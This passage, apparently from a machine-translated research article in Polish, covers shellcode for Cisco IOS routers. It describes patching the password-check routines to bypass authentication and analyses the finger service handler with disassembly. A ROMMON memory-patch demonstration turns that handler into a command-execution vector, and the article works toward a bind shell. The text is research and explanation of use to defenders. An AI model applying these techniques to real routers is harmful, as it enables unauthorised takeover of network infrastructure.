Inną możliwością szelkodu jest modyfikacja kodu IOS zamiast konfiguracji. Główną zaletą jest to, że router nie musi się ponownie uruchamiać, a funkcjonalność można po prostu wyłączyć lub zmienić. Jeśli atakowany obraz jest dokładnie znany, można odbezpieczyć obszar pamięci, w którym znajduje się obszar tekstowy i załatać bajty w kodzie w znanej lokalizacji, po czym wznowić operację. Jest to oczywiście tylko opcja w przypadku exploitów przepełnienia bufora opartych na stosie lub bardzo zaawansowanych, a zatem stabilnych exploitów przepełnienia sterty które dzisiaj nie istnieją. Jedną z możliwości łatania szelkodu jest modyfikacja procedur sprawdzania hasła dla dostępu do linii (Telnet) i trybu włączania. Po ich modyfikacji, aby bezwarunkowo przeszły weryfikację hasła, osoba atakująca może połączyć się z komputerem przez Telnet przy użyciu dowolnego hasła i w ten sam sposób podnieść swoje uprawnienia, aby włączyć tryb. Zostało to wdrożone wcześniej i działa dobrze.

Powłoka wiązania

Po raz pierwszy zaprezentowana na BlackHat Briefings Las Vegas 2005 przez Michaela Lynna powłoka wiązania IOS jest uważana za świętego Graala szelkodu Cisco. Niestety rozmowa została ocenzurowana przez Cisco i ISS, dlatego szczegóły implementacji Michaela nigdy nie zostały opublikowane. Obiecującą drogą do wiązania kodu powłoki IOS jest ponowne wykorzystanie istniejącego kodu z IOS. Ponieważ IOS nie oferuje wywołań systemowych w sposób, w jaki robią to zwykłe systemy operacyjne, i faktycznie nie posiada procesu powłoki per se, powłoka nie może być zaimplementowana przez gniazdo nasłuchujące i wykonanie programu po połączeniu przychodzącym. Jednak twórcy IOS musieli rozwiązać podobny problem, gdy wdrażali usługi dla swoich urządzeń. Na przykład dane wyjściowe usługi finger w systemie IOS są w rzeczywistości takie same, jak dane wyjściowe polecenia show users. Dlatego można założyć, że procedura obsługi usługi jest faktycznie zaimplementowana jako wykonanie wspomnianego polecenia. Kiedy sprawdzasz deasemblację obrazu IOS i szukasz ciągu polecenia, okazuje się, że tylko jedna mała funkcja używa takiego ciągu. Zawiera następujący kod:

text:0817B136 clr.l -(sp) ; null

text:0817B138 clr.l -(sp) ; null

text:0817B13A pea (1).w ; 1

text:0817B13E clr.l -(sp) ; null

text:0817B140 pea aShowUsers ; “show users”

text:0817B144 move.l d2,-(sp) ; ?

text:0817B146 move.l d0,-(sp) ; line

text:0817B148 bsr.w sub_text_817AF7E

Tak więc najwyraźniej istnieje już funkcja, która pobiera wiele argumentów, w tym polecenie, które ma zostać wykonane. Jedynym innym parametrem funkcji, który nie jest ani 0, ani 1, wydaje się być wskaźnikiem do struktury danych. Powinno być bezpiecznym przypuszczeniem, że ta struktura zawiera coś podobnego do deskryptora gniazda, ponieważ wywoływana funkcja musi być w stanie wysłać dane wyjściowe polecenia w dół kanału TCP zamiast konsoli. Na routerze 2600 z obrazem zdekompresowanym do pamięci RAM, łatanie łańcucha można wykonać za pomocą ROMMON, aby zweryfikować tę teorię:

BurningBridge#

*** System received an abort due to Break Key ***

signal= 0x3, code= 0x500, context= 0x820f5bf0

PC = 0x8080be78, Vector = 0x500, SP = 0x81fec49c

rommon > priv

Password:

You now have access to the full set of monitor commands. Warning: some commands will allow you to destroy your configuration and/or system images and could render the machine unbootable.

rommon > dump -b 0x81855434 0x20

81855434 73 68 6f 77 20 75 73 65 72 73 00 00 0a 54 43 50 show

users...TCP

81855444 3a 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 61 74 74 : connection

att

rommon > alter -b 0x81855434

81855434 = 73 >

81855435 = 68 >

81855436 = 6f >

81855437 = 77 >

81855438 = 20 >

81855439 = 75 > 66

8185543a = 73 > 6c

8185543b = 65 > 61

8185543c = 72 > 73

8185543d = 73 > 68

8185543e = 00 >

8185543f = 00 > q

rommon > cont

BurningBridge#

Żądanie palca do routera dowodzi, że teraz zamiast listy użytkowników wykonywane jest polecenie show flash:

fx@linux:~$ finger 0@192.168.2.197

[192.168.2.197]

System flash directory:

File Length Name/status

1 11846748 c2600-ipbase-mz.123-8.T8.bin

[11846812 bytes used, 4406112 available, 16252924 total]

16384K bytes of processor board System flash (Read/Write)

Podczas sprawdzania obrazu pod kątem lokalizacji, w których ta funkcja obsługi palca jest przywoływana przez kod, kończy się na większej funkcji, która przekazuje wiele takich małych funkcji obsługi do wielokrotnie wywoływanej funkcji rejestracji. Wśród nich ponownie znajdujemy obsługę obsługi palców:

text:08177C2A clr.l (sp)

text:08177C2C pea (tcp_finger_handler__817B10C).l

text:08177C32 pea ($4F).w

text:08177C36 pea ($13).w

text:08177C3A pea (4).w

text:08177C3E bsr.l sub_text_80E8994

text:08177C44 addq.w #8,sp

text:08177C46 addq.w #8,sp

Parametr 4 jest nieznany, ale 0x13 wydaje się być wyznacznikiem protokołu TCP, a 0x4F to oczywiście port usługi finger. Można wywnioskować, że istnieje funkcja rejestracji, która pobiera trzy toupy protokołu/portu/programu obsługi i rejestruje je w systemie IOS. W związku z tym powinno być możliwe opracowanie szelkodu rejestrującego jedną z jego funkcji dla nieużywanego portu i wykonywanie poleceń powłoki. Taki szelkod nie został jeszcze opublikowany.

Wniosek

Bardzo niewiele osób zajmuje się publicznie eksploatacją Cisco IOS, częściowo ze względu na jego tajemniczy charakter, częściowo z powodu potrzebnego drogiego sprzętu jednorazowego użytku. Dzięki dostępności symulatora Cisco 7200, więcej osób ma szansę zagrać z tą interesującą platformą oprogramowania. Dziedzina jest bardzo interesująca, ponieważ wiele utartych ścieżek w eksploatacji nie ma bezpośredniego zastosowania do IOS. Problemy pojawiające się ostatnio w powszechnych systemach operacyjnych z powodu wprowadzenia randomizacji przestrzeni adresowej zawsze były

jedną z głównych przeszkód dla niezawodnych exploitów IOS. Z drugiej strony, duża część Internetu i sieci korporacyjnych nadal działa na sprzęcie Cisco, który jest w większości niechroniony. Zrozumienie implikacji projektowania sprzętu i oprogramowania w sprzęcie Cisco oraz kreatywne wykorzystanie takiej wiedzy może pewnego dnia zaowocować niezawodnym i dobrze działającym exploitem dla IOS. Wyzwanie jest wciąż otwarte i czeka na kogoś, kto je opanuje.